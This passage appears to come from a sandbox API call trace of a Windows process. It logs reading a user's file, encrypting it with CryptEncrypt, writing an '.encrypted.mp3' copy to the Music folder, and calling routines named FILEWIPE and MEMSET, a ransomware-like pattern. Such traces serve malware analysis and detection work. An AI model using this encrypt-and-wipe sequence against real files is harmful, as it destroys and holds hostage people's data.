lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.072] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.072] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.072] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.072] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.072] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.073] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q")) returned 0x10 [0027.073] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\beIfi.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\beifi.encrypted.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.073] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.075] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.075] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xd98f, lpOverlapped=0x0) returned 1 [0027.076] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.078] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.079] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.079] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.079] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.079] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.079] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.079] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.080] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.080] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.080] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.080] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.080] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.080] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.081] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0027.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417aca0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0027.082] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0027.082] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064a10, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a10*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.082] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.083] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.084] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.084] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.084] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.084] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.084] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.084] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.084] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.084] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.084] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.084] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.084] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.084] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.084] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.084] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.084] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.084] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.084] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.084] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xd98f, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xd990) returned 1 [0027.085] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.085] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.085] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.085] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.085] CharLowerBuffW (in: lpsz="byte[55697]", cchLength=0xb | out: lpsz="byte[55697]") returned 0xb [0027.085] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.085] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.085] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.086] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.086] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.086] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43a2d10*, pdwDataLen=0xe8f3dfdf68*=0xd98f, dwBufLen=0xd990 | out: pbData=0xe8f43a2d10*, pdwDataLen=0xe8f3dfdf68*=0xd990) returned 1 [0027.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.086] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.086] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.086] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.086] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.086] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.086] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.086] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.086] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.086] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.086] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.093] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.093] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.093] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.093] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.093] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.093] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.093] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.093] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0027.093] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.093] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.093] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.093] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.093] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.093] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.093] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.094] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.094] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.094] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.094] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.094] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.094] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.094] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.094] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.094] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.094] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.094] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.094] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.094] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.094] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.094] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.094] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.094] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.094] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.094] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.094] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.095] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.095] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.095] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0027.095] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.095] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.095] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.095] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.095] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.095] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.095] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.097] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.097] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.097] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.097] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.097] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.097] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.098] CharLowerBuffW (in: lpsz="byte[55695]", cchLength=0xb | out: lpsz="byte[55695]") returned 0xb [0027.098] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.098] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 